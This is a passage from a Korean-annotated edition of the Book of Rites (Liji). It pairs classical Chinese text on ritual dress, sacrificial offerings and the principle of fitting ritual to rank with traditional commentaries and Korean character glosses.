黼요, 大夫는 黻이요, 士는 玄衣纁裳이며, 天子之冕은 朱緑藻며, 十有二旒요, 諸侯는 九요, 上大夫는 七이요, 下大夫는 五이요, 士는 三이니, 此는 以文으로 爲貴也니라.[458]\n龍袞은 畵龍於袞衣也라. 白與黑을 謂之黼니 黼는 如斧形하니 刺之於裳하고, 黑與靑을 謂之黻이니 其狀이 兩已相背하니 亦刺於裳也라. 纁은 赤色이요, 冕은 祭服之冠也라. 上玄下纁하고, 前後有旒하니 前低이 一寸二分이니 以其略俛而謂之冕이라. 冕은 同而服異하니 一은 袞冕이요, 二는 鷩冕이요, 三은 毳冕이요, 四는 絺冕이요, 五는 玄冕이니, 各以服之異而名之耳라. 冕之制는 雖同而旒有多少하니 朱緑藻者는 以朱緑二色之絲로 爲繩也니, 以此繩으로 貫玉而垂於冕하야 以爲旒하니 周用五采어늘 此言朱緑은 或是前代之制라. 十有二旒者는 天子之冕은 前後各十二旒이니 每旒에 十二玉이라. 玉之色은 以朱白蒼黃玄으로 爲次하야 自上而下하고, 徧則又從朱起하나니라. 袞冕은 十二旒요, 鷩冕은 九旒이니, 毳冕은 七旒이요, 絺冕은 五旒요, 玄冕은 三旒이니, 此數이 雖不同이나, 然.皆每旒에 十二玉이요, 繅玉五采也라. 此皆.周時天子之制라. 諸侯는 九요, 上大夫는 七이요, 下大夫는 五요, 士는 三이니, 此이 亦非周制라. 周家는 旒數이 隨命數하니 詳見儀禮冕弁圖호다.\n○ 疏曰 諸侯이 雖九章七章以下나, 其中에 有黼也요, 孤絺冕而下는 其中에 有黻故로 特擧黼黻而言耳라. 詩采菽에 云.玄袞及黼라 하니 是는 特言黼하고, 終南에 云.黻衣繡裳은 是는 特言黻也이니라.\n○ 陳氏이 曰 藻潔而文하니 衆采如之故로 曰 藻라.\n[長樂陳氏曰此經主以文爲貴故於天子不言大裘曰龍袞而已諸侯之服雖曰自袞冕而下然其德則貴乎能斷故言黼抑亦擧其下者而言之卿大夫之服自玄冕而下則有章有黻而已故言黻以其德貴乎能辨也諸侯有君道以治邦國以蕃王室其於政治之義必貴乎能斷大夫有臣道道合則從不合則去其於去就之義不可以不辨也士之服止於玄衣纁裳則質而已衣正色則天子至於士皆玄衣也裳間色自天子至士皆纁裳也玄以象道之在上纁以象事之在下此貴賤之所通也所異者特繡繢之功或多或寡或有或無而已]\n[袞:곤룡포곤][黼:보불보.보불:禮服半白半黑剌繡斧形][黻:보불불(裳繡黑靑相次文狀如兩已相背)예복,슬갑(韋韠以蔽膝)][纁:분홍빛훈][藻미름조][旒:기말류.깃술,면류관술.旒旗:깃술이 달린 기] [鷩:붉은꿩별][毳:솜털취][絺고운갈포치][繅고치켤소, 옥받침비단조][繡;사수수][繢:수놓을궤(귀).\n2-21. 有以素로 爲貴者하니 至敬이 無文하며 父黨에 無容하며 大圭는 不琢[篆]하며 大[泰]羹은 不和[去聲]하며 大路는 素而越[活]席이며 犧[莎]尊은 疏布鼏[莫力反]하며 樿[展]杓[市約反]이니 此는 以素로 爲貴也라.[461]\n敬之至者는 不以文으로 爲美이 如祭天而服黑羔裘니, 亦是尙質素之意라. 折旋揖讓之禮容은 所以施於外賓이니 見父之族黨에 自當以質素爲禮요, 不爲容也라. 大圭는 天子所搢者니 長이 三尺이라. 不琢은 不爲鐫刻文理也라. 大羹은 太古之羹也라. 肉汁은 無鹽梅之和니 後王이 存古禮故로 設之하니 亦尙玄酒之意라. 大路는 殷祭天之車니 朴素無飾하니 以蒲越로 爲席이니라. 犧尊은 刻爲犧牛之形이니 讀爲娑音者는 謂畵爲鳯羽하야 婆娑然也라. 此尊은 以麤疏之布로 爲覆鼏하나니 樿은 白木之有文理者요, 杓는 沃盥之具也라.\n[嚴陵方氏曰大圭之用卽其體而無琢刻之功所以爲大若鎮圭之類則小矣大羹之湆遺其味而無調和之齊所以爲大若羹之類則小矣大路之制因其質而唯朴素之尙所以爲大若金路之類則小矣禮之不同者固多而大槩不過於多少大小高下素文]\n[長樂陳氏曰至敬無文篤於誠也父黨無容篤於愛也天子大圭則搢之不琢而抒上所以象乎天之藏物而無爲也羹不和謂之大羹路不飾謂之大路以其道之所寓而非功之所致也以蒲爲席謂之越席畵牛於尊謂之犧尊牛取其能耕犧言其共祭言犧而不言牛以共祭爲主也八尊所以祭天地故尙質六彛所以祭宗廟故尙文則疏布之所鼏唯尊而已]\n[許氏曰禮責乎多者蓋非多則不足爲禮之稱也然物欲有盡而人情亡藝使天下而皆饜足其好多之心則雖窮天下之物適以亂天下之禮而已是以聖人之制有推而進焉以不奪其情亦有抑而反焉以深求其本是故天子無介祭天用特天子之膳諸侯非不能備多品也而用止一犢諸侯相朝主國豈不能備籩豆也而灌止用鬯繁纓美於多就而大路一就也琥璜用於爵幣而圭璋之特也不特禮之多少爲然推之於小大高下文質之間亦莫不然故宮室器皿尊者極其大而宗廟之尊彛爵之貴於散也觶之崇於角也瓦甒之尊於壺缶也無非不廢其大而隆其小也堂筵門臺尊者極其高而祭天之地不壇也天子之尊而廢禁也又無非樂其高而不忘其下也龍袞玉藻文采之隆於天子極矣而祭天之用圭不琢羹不和大路質素而越席之用犧尊布鼏而樿杓之貴豈以文采之用而盡廢其質哉多少不同其用而各惟其宜文質不一其施而悉惟其稱或大或小或高或下狹不可豊廣不可殺情文竝施條理不紊而禮之本末始得以竝著於天下]\n[犧:희생희,술통사][莎사초사,향부자사,잔디수.莎草:香附子.잔디][鼏:솥뚜껑멱.冪과同字][樿:전나무전(白理木,黃陽木)][杓:구기작(술뜨는 국자)][湆:축축할읍][↔鉶:국그릇형][搢:곶을진,흔들진][抒:당길서,펼서][饜:배부를염,물릴염][臺돈대]\n3-1. 孔子이 曰호대 禮不可不省[息井反]也니 禮不同하나 不豊不殺라하시니 此之謂也니 蓋言稱也라.[464-1]\n省은 察也라. 禮之等이 雖不同而各有當然之則하니 豊則踰하고 殺則不及이라. 惟稱之爲善이니라.\n[馬氏曰自禮以多爲貴而至於禮以素爲貴皆禮之寓於形名數度之間其用不同者有如此也其用雖不同要之歸於稱則一也故豊之而不以爲有餘殺之而不以爲不足唯其稱而已此爲禮不可不察也]\n3-2. 禮之以多로 爲貴者는 以其外心者也니 德이 發揚하야 詡[許]萬物이니, 大理라. 物博이니 如此則得不以多로 爲貴乎아. 故로 君子이 樂[吾敎反]其發也니라.[464-2]\n用心以致備物之享則心在於物 故로 曰 外心이라. 然.所以貴於備物者는 聖人이 蓋見夫天地之德이 發揚昭著하야 盛大溥徧於萬物이니 是其理之所該者이 大故로 物之所成者이 博이 如此하니 豈得不以多爲貴乎이리오? 此이 制禮之君子이 所以樂其用心於外하야 以致備物也라.\n3-3. 禮之以少로 爲貴者는 以其內心也니 德産之致[直二反]也이 精微하니 觀天下之物이 無可以稱[去聲]其德者니 如此則得不以少로 爲貴乎아. 是故로 君子는 愼其獨也라.[465]\n散齊.致齊.祭神如在는 皆是內心之義惟其主於存誠하야 以期感格故로 不以備物로 爲敬이니 所以然者는 蓋有見夫天地之德.所以發生萬彚者이 其流行賦予之理이 密緻而精微하니 卽大傳所言天地絪緼.萬物化醇也라. 縱使徧取天下所有之物하야 以祭天地라도 終不能稱其德而報其功이니 不若事之以誠敬之爲極致이 是以로 行禮之君子이 主於存誠於內하야 以交神明也니 愼獨者는 存誠之事也라.\n[嚴陵方氏曰心一而已以示禮於外故有外心焉以體禮於內故有內心焉用心於外故以多爲貴用心於內故以少爲貴德之發揚則其和足以詡萬物矣詡言能翕張也德雖不言而翕張萬物如之一翕一張相濟而和則大得其理而功之所施者博矣以多爲貴乃其稱歟故君子樂於發也易言天地之大德曰生則天下之物皆德之所生也故曰德産物生之迹雖粗而其道則致精物生之迹雖顯而其道則致微故曰德産之致也精微德之所致如此觀天下之物固無可以稱其德者矣以少爲貴乃其稱歟故君子愼其獨也]\n[彚:무리휘,部類,모으다][緻:세밀할치,톡톡하다,빽빽함.緻密][絪(인):기운성함,요褥][緼:모시온(枲麻),성하다][徧:두루미칠편][詡:넓을후,大言.詡詡:大言壯談하는 모양,남의비위를맞추는모양][翕:모을흡,합할흡]\n3-4. 古之聖人은 內之爲尊하며 外之爲樂[洛]하며 少之爲貴하며 多之爲美니 是故로 先王之制禮也는 不可多也며 不可寡也라. 唯其稱也니라.[467]\n尊은 如中庸尊德性之尊이니, 恭敬奉持之意也라. 尊其在內之誠敬故로 少物이 亦足以爲貴요, 樂其在外之儀면 物必多物이라야 乃可以爲美니 宜少者이 不可多요, 宜多者이 不可寡라. 或稱其內하고 或稱其外也니라.\n[嚴陵方氏曰內外以心言多少以物言卽上文所言者是也外心不止於多則或高或大或文亦外心耳內心不止於少則或下或小或素亦內心耳稱其內心則以少爲貴故不可多稱其外心則以多爲美故不可寡此先王制禮之道也]\n3-5. 是故로 君子이 大牢而祭를 謂之禮요, 匹士이 大牢而祭를 謂之攘이니라.[467]\n謂之禮는 稱也요, 謂之攘은 不稱也라.\n○ 疏曰 匹偶也士賤不得特使하야 爲介乃行故로 謂之匹士니 庶人이 稱匹夫者는 惟與妻偶耳라.\n[馬氏曰君子者以位之貴者言之匹士者以位之賤者言之古者天子諸侯卿大夫皆君子也天子諸侯卿大夫位之尊其禮可以致其隆故曰天子以犧牛諸侯以肥牛大夫以索牛此大牢而祭謂之禮也至於匹士大牢而祭故謂之攘攘者非其有而取之也][攘:물리칠양][索牛]\n4-1. 管仲이 鏤簋朱紘[宏]하며 山節藻棁[拙]한대 君子이 以爲濫矣라하고,[469]\n管仲은 齊大夫라. 鏤簋는 簋有雕鏤之飾也라. 紘은 冕之繫니 以組로 爲之하니 自頷下로 屈而上屬於兩旁之笄하야 垂餘爲纓하니라. 天子는 朱요, 諸侯는 靑이요, 大夫士는 緇라. 山節은 刻山於柱頭之斗栱也라. 藻는 水草也라. 藻棁은 畵藻於梁上之短柱也니 此皆管仲의 僭禮之事라. 濫은 放溢也라.\n[嚴陵方氏曰是皆天子之禮管仲以陪臣爲之則過於奢矣奢則僭故君子以爲濫濫者溢而無所制之謂也雜記所謂難爲上者以此]\n[鏤:아로새길루,쇠붙이장식][簋:대제기궤.盛黍稷器][紘:관끈굉,갓끈,굵은줄][棁:동자기둥절,동바리][頷:턱함,끄덕일암][笄:계]\n4-2. 晏平仲이 祀其先人호대 豚肩이 不揜豆하며 澣衣濯冠으로 以朝한대 君子이 以爲隘矣라 하니라.[470-1]\n晏平仲은 亦齊大夫라. 大夫는 祭用少牢니 不合用豚이라. 周人은 貴肩하니 肩在俎하고 不在豆어늘 此이 但喩其極小하니 謂倂豚兩肩하야 亦不足以掩豆故로 假豆言之耳라. 上言不豊不殺하고 此擧管晏之事하야 以明之하니 管仲은 豊而不稱하고 晏子는 殺而不稱者也라. 隘은 陋也라.\n[嚴陵方氏曰隘者陋而無所容之謂雜記所謂難爲下者以此]\n[揜:가릴암,찾아낼엄][澣씻을한,빨래하다][濯:씻을탁,빨다빛나다][隘좁을애,더럽다.막을액][喩:깨달을유]]\n4-3. 是故로 君子之行禮也는 不可不愼也니 衆之紀也라. 紀散而衆亂하나니라.[470-2]\n禮는 所以防範人心.綱維世變이니 前篇에 言.壞國喪家亡人이 必先去其禮라 하니라.\n4-4. 孔子曰하사대 我는 戰則克하고 祭則受福이라하시니 蓋得其道矣로다.[471]\n記者이 引孔子之言而釋之曰 夫子所以能此二者는 蓋以得其行之之道也라.\n[馬氏曰紀者衆目之總禮者亦百行之總君子之戰非必於克而克隨之君子之祭非必於受福而福亦隨之蓋在已者有以先之也在已有以先之者禮而已矣]\n[嚴陵方氏曰紀一定則衆目各有條理故紀散而衆亂此君子之行禮所以不可不愼也順以使衆故戰則克誠以事神故祭則受福能順則得戰之道矣能誠則得祭之道矣夫子之所謹則得其道可知]\n4-5. 君子이 曰호대 祭祀를 不祈하며 不麾[揮]蚤[早]하며 不樂[洛]葆[保]大하며 不善嘉事하며 牲不及肥大하며 薦不美多品이니라.[472]\n君子 曰은 記者自謂也라. 祭有常禮하니 不爲祈私福也라. 周禮에 大祝이 掌六祈하고, 小祝이 有祈福祥之文하니 皆是有故則行之나, 不在常祀之列이니라. 麾는 快也라. 祭有常時하니 不以先時로 爲快라. 葆는 猶褒也라. 器幣之小大長短이 自有定制하니 不以褒大로 爲可樂也라. 嘉事는 冠昏之禮니 奠告有常儀하니 不爲善之而更設他祭라. 牲不及肥大는 及은 猶至也니, 如郊牛之角은 繭栗이요, 宗廟는 角이 握이요, 社稷은 角이 尺이라. 各有所宜用하니 不必須竝及肥大也라. 薦祭之品味이 有定數하니 不以多品으로 爲美也라.\n[長樂陳氏曰君子之於祭祀也寧祝而已故不祈因時而已故不麾蚤]\n[馬氏曰器幣所以將誠茍葆大其器而無其意君子不樂也書曰享多儀儀不及物惟不役志于享凡民惟曰不享與此同意冠昏之禮必先祭於祖廟者非以嘉事爲善也示其有尊祖敬禰之意禮有以大爲貴而牲不及肥大禮有以多爲貴而薦不美多品者脩其在中之誠而已蓋君子內則盡志外則盡物在外之物不可得而盡盡其在內之志而已矣]\n[麾:지휘할휘,대장기][蚤:벼룩조,일찍][葆:풀무성할보,포장,감춤][握:줄악,손아귀,장막휘장幄]\n4-6. 孔子이 曰하사대 臧文仲은 安知禮리오. 夏父 弗綦[忌]이 逆祀而弗止也하니라.[473]\n臧文仲은 魯大夫臧孫辰이라. 夏父弗綦는 人姓名也라. 魯莊公이 薨커늘 立適子閔公하고, 閔公이 薨커늘 立僖하니 公僖公者는 莊公之庶子요, 閔公之庶兄也라. 僖公이 薨커늘 子 文公이 立하야 二年八月에 袷祭太廟할새 夏父弗綦爲宗伯하야 典禮호대 移閔公하야 置僖公之下하니 是는 臣居君之上하야 逆亂尊하니 卑不可之大者라. 時人이 以文仲으로 爲知禮어늘 孔子이 以其爲大夫而不能止逆祀之失로 豈得爲知禮乎아 하시니라.\n[金華應氏曰文仲不知正其順祀之爲禮徒以昵於所親之爲孝][昵:친숙해질닐,아비사당녜]\n4-7. 燔[煩]柴於奧[]하니 夫奧者는 老婦之祭也니 盛[平聲]於盆하며 尊於瓶이니라.[474]\n此亦言臧文仲이 不能正失禮之事라. 周禮에 以實柴로 祀日月星辰하니 有大火之次라. 故.祭火神則燔柴也라. 今弗綦爲禮官하야 謂神이 是火神이라야 遂燔柴祭之하니 是失禮矣라. 禮祭에 至尸食竟而祭神할새 宗婦는 祭僖하고 烹者는 祭饔其神則先炊也라. 故.謂之老婦니 惟盛食於盆하고 盛酒於瓶하니 卑賤之祭耳라. 雖卑賤이 而必祭之者는 以其有功於人之飮食이라. 故로 報之也이니라.\n[有問竈可祭否朱子曰飮食所繫亦可祭]\n[嚴陵方氏曰祀奧者以竈能化飮食以養人故也配以先炊故謂之老婦之祭]\n[延平周氏曰先炊之有祭猶牧之有先牧而嗇之有先嗇也]\n[:부글부글끓으려할촌][燔:불사를번,제육][瓶:두레박병][柴섶시,시제사][綦:쑥빛비단기,반베기,신치장할기][饔:아침밥옹,牲殺]\n4-8. 禮也者는 猶體也니 體不備면 君子이 謂之不成人이라하나니, 設之不當[去聲]이 猶不備也니라. 禮이 有大有小하며 有顯有微하니, 大者를 不可損이며, 小者를 不可益이며, 顯者를 不可揜이며 微者를 不可大也니라. 故로 經禮三百과 曲禮三千이 其致는 一也니 未有入室而不由戶者하니라.[475]\n體는 人身也라. 先王經制大備하야 如人體之全具矣라. 若行禮者이 設施 或有不當이면 亦與不備同也라. 大者를 損之하며 小者를 益之하야 揜其顯하며 著其微이 是不當也라. 禮以敬爲本하니 一者는 敬而己라. 未有入室而不由戶者이니 豈有行禮而不由敬乎아?\n○朱子이 曰 禮儀三百은 便是儀禮이 中士冠,諸侯冠,天子冠禮之類니 此是大節이요, 有三百條하니 如始加再加,三加와 又如坐如尸立如齊之類이 皆是其中小目이라. 呂與叔이 云經便是常行底요, 緯便是變底하니 恐不然이라. 經中에 自有常有變하고, 緯中에 亦自有常有變하니라.\n○趙氏曰經禮는 如冠昏喪祭朝覲會同之類요, 曲禮는 如進退升降俯仰揖讓之類니라.\n[馬氏曰百骸九竅具然後足以爲人大小精粗備然後足以爲禮古之言禮者內之爲本外之爲文多之爲美少之爲貴凡此者皆慮其禮之不備也小大微顯設之皆當禮之所以備也經禮者曲禮之總曲禮者經禮之別經禮至於三百之多曲禮至於三千之多者皆慮其禮之不備也]\n[竅:구멍규,빌규][揜:가릴엄]\n4-9. 君子之於禮也에 有所竭情盡愼하야 致其敬而誠若하며 有美而文而誠若이니라.[477]\n誠實也요, 若은 語辭이니 謂以少者小者下者素者로 爲貴는 是內心之敬이 無不實者요, 以多者大者高者文者로 爲貴하니 美而有文은 是外心之實者이니라.\n[嚴陵方氏曰禮雖不同至於致其誠則一而已竭情盡愼致其敬則誠之存乎內者美而文則誠之發乎外者或內或外皆不離乎誠故每以誠言之]\n4-10. 君子之於禮也에 有直而行也하며, 有曲而殺[色介反]也하며, 有經而等也하며, 有順而討也하며, 有摲[芟]而播也하며, 有推而進也하며, 有放[上聲]而文也하며, 有放而不致也하며, 有順而摭也하니라.[478]\n親始死而哭踊無節은 是直情而徑行也라. 故曰直而行이요, 父在則爲母服하니 期尊者在則卑者不杖은 是委曲而減殺之也라. 故.曰曲而殺이요, 父母之喪에 無貴賤히 皆三年하고, 大夫士魚俎이 皆十五는 是經常之禮를 一等行之也라. 故.曰經而等이요, 順而討者는 順其序而討去之니 若自天子而下로 每等降殺以兩이 是也요, 摲而播者는 芟取在上之物而播施於下이니 如祭俎之肉이 及群臣하야 而胞翟之賤者도 亦受其惠是也요, 推而進者는 推卑者하야 使得行尊者之禮니, 如二王之子孫이 得用王者之禮와 及旅酬之禮에 皆得擧觶於其長이 是也요, 冕服旗常之章采와 樽罍之刻畵는 是放而文也요, 公侯以下之服이 其文采이 殺於天子而不敢極致하니 是放而不致也요, 摭猶拾取也이니, 雖拾取尊者之禮而行之라도 不謂之僭逆은 如君沐梁이어늘 士亦沐梁하고 又有君大夫士.一節者는 是順而摭也이니 言君子行禮이 有此九者하니 不可不知也이니라.\n[嚴陵方氏曰直而行者謂行吾誠於內而無所屈曲而殺者謂爲所隆者厭而不得伸經而等謂順理之常無貴賤一也摲而播謂摲此以播於彼放而文謂觀象放法以致其飾放而不致若諸侯之服自鷩冕而下其旗自龍而下是矣]\n[摲:던질참,막을참,벨참][摭:주울척,拾][翟:꿩적,꿩깃옷적][觶:벌술잔치][罍번개무늬그린술통뢰.罍觴:술통과 구기.罍洗: 큰통.罍尊:雲雷모양을 그린 술통][僭:僭濫,어그러질참][鷩:붉은꿩별]\n4-11. 三代之禮는 一也라. 民共由之하나니 或素或靑은 夏造殷因이니라.[480]\n殷尙白하고 夏尙黑하니 素卽白也요, 靑近於黑하니 不言白黑而言素靑은 變文耳라. 此類皆制作之末이니 擧此하야 以例其餘則前之創造와 後之因仍을 皆可知矣니라.\n○朱子이 曰 三綱五常은 禮之大體라. 三代相繼하야 皆因之而不能變하고 其所損益은 不過文章制度의 小過不及之間而已니라.\n[嚴陵方氏曰三代之禮所異者迹所同者道故曰一也夏造殷因者言夏造於前殷因之於後也言殷之因夏則周之因殷從可知矣]\n[臨川吳氏曰言夏殷周三代之時禮之儀文雖小有損益而其所以爲禮者則一故天下之民皆可通行蓋損益而異者禮之文耳禮之本則相因不變而無不同也又曰所尙之色雖有或素或靑之異然禮之本則夏造作於前殷因襲於後無不同者]\n5-1. 周는 坐尸하고 詔侑이 武[無]方하더니 其禮亦然하니 其道이 一也니라.[481]\n承上夏造殷因而言三代尸禮之異하니 周之禮에 尸卽位而坐이어든 詔者告尸以威儀之節하고 侑者勸尸爲飮食之進하니 詔與侑皆祝官之職이니 祝不止一人이니라. 無方은 謂無常人也라. 宗廟中可告之事를 皆得告之也라. 亦然은 亦如殷之禮也라. 禮, 同本於道之同이라. 故.云 其道一也라.\n5-2. 夏는 立尸而卒祭하고, 殷은 坐尸하고,[482]\n夏之禮엔 尸當飮食則暫坐하고, 若不飮食則惟立以俟祭事之終也요, 殷則尸雖無事이나 亦坐이니라.\n[嚴陵方氏曰夏立尸而殷坐尸殷雖坐尸而詔侑未必無方周則文又備不惟坐尸而且詔侑無方爲此特文備之事爾而於禮莫不然也故曰其禮亦然以其道未始不相因故曰其道一也][侑:권할유,돕다.侑食:음식을권함]\n5-3. 周는 旅酬六尸하니 曾子 曰하사대 周禮는 其猶醵[其庶反]與인저.[483]\n周家袷祭之時에 群廟之祖를 皆聚於后稷廟中하니 后稷尸尊하야 不與子孫爲酬酢하고 毁廟之祖는 又無尸라. 故.惟六尸而已니 此六尸自爲昭穆하고 次序하야 行旅酬之禮라. 故.曾子이 言周家此禮이 其猶世俗之醵與인저. 醵는 斂錢共飮酒也이니 錢之所斂者이 均則酒之所飮이 必均하니 此六尸之旅酬이 如醵飮之均平也이니라.\n[臨川吳氏曰此承上文言周之異於殷者不但詔侑無方之禮又有旅酬六尸之禮也而又引曾子釋旅酬之言于後以結之]\n5-4. 君子이 曰하사대 禮之近人情者는 非其至者也니, 郊엔 血이요, 大饗엔 腥이요, 三獻엔 爓[潜]이요, 一獻엔 孰이니라.[484]\n近者爲褻하고 遠者爲敬하니 凡行禮之事이 與人情所欲者로 相近則非禮之極至者라. 其事이 本多端이어늘 此獨擧血腥爓孰四者之祭하야 以明之者는 禮莫重於祭故也라. 郊는 祭天也니 郊祀與大饗三獻에 皆有血腥爓孰이어늘 此各言者는 據先設者爲主也라. 郊則先設血하고 後設腥爓孰하나니라. 大饗은 祫祭宗廟也라. 腥은 生肉也니 去人情稍近은 郊先薦血하고, 大饗則迎尸하니 時血與腥은 同時薦이요, 獻은 酌酒以薦獻也라. 祭社稷及五祀에 其禮皆三獻故로 因名其祭爲三獻也라. 爓은 沈肉於湯也니, 其色이 略變하니 去人情漸近矣라. 此祭血腥與爓을 一時同薦은 但當先者이 設之在前하고 當後者이 設之居後하니 據宗伯,社稷,五祀,初祭降神時에 已理血하니, 據此則正祭薦爓時에 又薦血也라. 一獻祭는 群小祀也니 祀卑하야 酒惟一獻이요, 用孰肉하고 無血腥爓三者하니 蓋.孰肉是人情所食이라. 最爲褻近하니 以其神卑則禮宜輕也요이니라.\n[延平周氏曰獻以血非近人情者也而反以事天獻以孰乃近人情者也而反以事群小祀蓋禮之近人情者非禮之至也爓與孰以牲言質與文以禮言]\n[嚴陵方氏曰全乎天者莫如血故用之於郊近乎人者莫如孰故用之於獻故曰禮之近人情者非其至者也且由爓而上則尙氣而已至於孰則又尙味焉故郊特牲曰至敬不饗味而貴氣臭也]\n[腥:날고기성][爓:데칠섬][孰:누구숙,익을숙][褻평복석,속옷,더럽다,무람없다][祫합제사협]\n5-5. 是故로 君子之於禮也에 非作而致其情也라. 此는 有由始也니라. 是故로 七介以相見也니 不然則已慤이요, 三辭三讓而至하나니 不然則已蹙이니라.[486]\n作은 如作聰明之作하니 過意爲之也라. 言先王制禮之初에 一以誠敬으로 爲本하니 乃天理人情之極致라. 後世이 守而行之하니 非過意而故爲極致之情也라. 此由始於古也이니라. 上公之介는 九人이요, 侯伯은 七人이요, 子男은 五人이니, 此이 擧其中而言之하니라. 兩君相見에 必有介副之人하야 以伸賓主之情하나니 不如此이면 則太愿慤而無禮之文矣라. 已는 太也라. 三辭三讓者는 賓이 初至大門外하야 交擯之時에 有三辭之禮하고 及入大門에 主君이 每門에 一讓則賓이 一辭하야 凡三辭三讓而後에 至廟中也하나니, 不如此면 則大迫蹙而無禮之容矣라.\n[山陰陸氏曰禮出於自然非作之也夫禮一於本而已則或失之愿是故以介相見辭讓而後至]\n[擯:인도자빈,물리칠빈,배척][愿:성실원][慤:삼갈각,성실][蹙쭈그러질축,찡그림,蹙眉,蹙迫]\n5-6. 故로 魯人이 將有事於上帝할새 必先有事於頖[判]宮하고, 晉人이 將有事於河할새 必先有事於惡[呼]池[徒河反]하고, 齊人이 將有事於泰山할새 必先有事於配林하니, 三月을 繫하고 七日을 戒하고 三日을 宿은 愼之至也니라.[487]\n此는 因上章言하니 兩君相見之禮이 漸次而進이라. 故.言祭祀之禮이 亦有漸次하야 由卑以達尊이니 者魯人이 將祭上帝에 必先有事頖宮하니 頖宮은 諸侯之學也라. 魯이 郊祀면 以后稷配라. 先於頖宮이면 告后稷然後에 郊也이니라. 虖池는 竝州川之小者이니 河之從祀也요, 配林은 林名이니 泰山之從祀也라. 帝牛이 必在滌하나니 三月繫엔 繫牲於牢也요, 七日戒는 散齊也요, 三日宿은 致齊也라. 敬愼之至如此라. 故.以積漸爲之니 何敢迫蹙而行之乎아?\n[馬氏曰大者小之所積由小而至大莫不有漸故魯人將有事於上帝必有事於頖宮者凡以此也不如是則情失於慤且蹙矣與夫直情徑行者無以異也][頖:제후의학교(泮同),氷解반][虖:으르렁거릴호,탄식][滌:씻을척]\n5-7. 故로 禮有擯詔하며 樂有相[去聲]步는 溫[於糞反]之至也니라.[489]\n禮容이 不可急遽라. 故.賓主相見이면 有擯相者하야 以詔告之하고, 樂工은 無目이라 必有扶相其行步者니 此二者는 皆溫藉之至也라. 溫藉之義는 如玉之有承藉然하니라. 言此擯詔者는 是承藉賓主요, 相步者는 是承藉樂工也라.\n[嚴陵方氏曰相見必以介者所以達其情辭讓而後至者所以舒其行初曰禮辭再曰固辭三曰終辭則讓亦由是也鄕飮酒曰月者三日則成魄三月則成時是以禮有三讓此辭讓之數必以三也有事謂祭也將有事於大必先有事於小焉七日戒卽祭統言散齊七日以定之是也三日宿卽祭統言致齊三日以齊之是也此皆先事而備焉故曰愼之至賓主相接而後禮行瞽相相資而後樂作則緩而不迫和而無乖故曰溫之至也]\n5-8. 禮也者는 反本脩古하야 不忘其初者也니 故로 凶事면 不詔하고 朝[潮]事는 以樂[岳]이니라.[490]\n本心之初는 天所賦也라. 貴於反思而不忘이요, 禮制之初는 聖所作也라. 貴於脩擧而不墜니 二者이 皆有初라. 故.曰不忘其初라 하니라. 擗踊哭泣을 不待詔告는 以其發於本心之自然也요, 朝廷養老尊賢之事를 必作樂以樂之는 亦以愜其本心之願望也니 此二者는 是反本之事라.\n[嚴陵方氏曰物有本末時有古今然逐末之流而不知其所反從今之便而不能有所脩則先王之禮意亡矣本者末之初古者今之初反之脩之則不忘之故也本末一物欲追還之而已故於本曰反古今異時必有損益焉故於古曰脩此其別也言凶事則知朝事之爲吉禮言朝事則知凶事之爲喪禮凶事不詔則朝事必詔可知朝事以樂則凶事無樂可知]\n[潮:조수조][擗:열벽,칠벽][詔:조서조][愜:쾌할협,흡족하다]\n5-9. 醴酒之用호대 玄酒之尙하며 割刀之用호대 鸞刀之貴하며 莞[官]簟[徒點反]之安이면 而稾[古老反]鞂[江八反]之設이니라.[491]\n醴酒之美를 用矣로대 而列尊이 在玄酒之下하고, 今世割刀之利이 便於用矣로대 而宗廟中이면 乃不用割刀而用古之鸞刀하고, 下莞上簟이 可謂安矣로대 而設稾鞂之麤者하야 爲郊祀之席하고, 此三者는 是脩古之事라. 鸞은 鈴也니 刀鐶에 有鈴이라. 故.名鸞刀라하니 割肉에 欲中其音節이니 郊特牲에 云.聲和而後斷也라 하니라. 莞은 蒲之細者니 可爲席이요, 簟은 竹席也라. 藳鞂는 除去穀之稈也라. 鞂與禹貢秸字로 同하다.\n[鸞:난새란.털은 五彩를 갖추었고 소리는 五音에 맞는다는 靈鳥][莞왕골완,왕골자리완]\n[稾][鞂:볏집새꽤기갈.鞂席:짚거적.稭席][鈴:방울령][鐶고리환][稈:짚 간][秸짚고갱이갈,볏짚]\n5-10. 是故로 先王之制禮也는 必有主也하니 故로 可述而多學也니라.[492]\n有主는 主於反本脩古也라. 但以此二者로 求之면 則可以稱述而學之不厭矣라.\n[嚴陵方氏曰主猶賓主之主以其衆之所從故也蓋本者末之主故先王之制禮也必反之古者今之主故先王之制禮也必脩之此之謂有主夫少則得多則惑以其有主則雖多不惑故可述而多學也]\n6-1. 君子이 曰하사대 無節於內者는 觀物弗之察矣니 欲察物而不由禮면 弗之得矣라. 故로 作事不以禮면 弗之敬矣요, 出言不以禮면 弗之信矣니라. 故로 曰禮也者는 物之致也니라.[493]\n無節於內는 言胸中이면 不能通達禮之節文也요, 觀物弗之察은 言雖見行禮之事이나 不能審其得失也이니, 察物而不由禮以察之면 何以能得其是非之實이며, 作事而不由禮면 何以能存其主敬之心이며, 出言而不由禮면 何以能使人之信其言이리요. 故.曰禮者는 事物之極致也이니라.\n[嚴陵方氏曰無節於內則所存乎已者未定何恃而觀彼哉故曰無節於內者觀物弗之察矣禮者體物者也故欲察物而不由禮弗之得矣蓋由禮乃能得物之情故也事無禮則不能無妄作故弗之敬矣言無禮則不能無妄出故弗之信矣]\n6-2. 是故로 昔先王之制禮也에 因其財物하사 而致其義焉爾니, 故로 作大事호대 必順天時하며 爲朝[潮]夕호대 必放[上聲]於日月하며 爲高호대 必因丘陵하며 爲下호대 必因川澤이니, 是故로 天時雨澤에 君子이 達亹[尾]亹焉하나니라.[494]\n財物은 幣玉牲牢黍稷之類이니 無財無物이면 不可以行禮라. 故.先王制禮에 必因財物而致其用之之義焉이나, 然.財物이 皆天時之所生이라. 故.祭祀之大事를 亦必順天時而行之하니 如啓蟄而郊하니 龍見而雩하니 始殺而嘗하고, 閉蟄而烝이 皆是也라. 夫明이 生於東이라, 故.春朝朝日을 必於東方하며, 月生於西라, 故.秋莫夕月을 必於西方하고, 爲高上之祭에 必因其有丘陵而祭之하며, 爲在下之祭에 必因其有川澤而祭之니라. 一說에 爲高는 爲圓丘也요, 爲下는 爲方丘也라 하나니라. 祭有輕重이나 皆須財物에 故.當天時之降雨澤也하니, 君子이 知夫天地生成財物之功이 如此乎勉勉而不已也이어니, 則安得不用財物爲禮하야 